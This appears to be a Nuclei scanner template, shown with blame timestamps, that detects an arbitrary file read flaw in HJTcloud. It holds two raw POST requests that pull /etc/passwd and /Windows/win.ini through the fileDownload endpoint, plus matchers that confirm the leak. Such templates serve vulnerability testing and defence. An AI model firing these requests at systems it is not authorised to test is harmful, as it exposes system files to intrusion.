2021-05-31 05:38:23 +00:00
|
|
|
id: hjtcloud-arbitrary-file-read
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: HJTcloud Arbitrary File Read
|
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
|
|
|
reference: https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
|
|
|
|
tags: hjtcloud,lfi
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /fileDownload?action=downloadBackupFile HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/plain, */*
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
|
|
|
fullPath=/etc/passwd
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /fileDownload?action=downloadBackupFile HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/plain, */*
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
2021-05-31 08:49:23 +00:00
|
|
|
fullPath=/Windows/win.ini
|
2021-05-31 05:38:23 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-05-31 08:49:23 +00:00
|
|
|
- "bit app support"
|
|
|
|
condition: or
|
2021-05-31 05:38:23 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|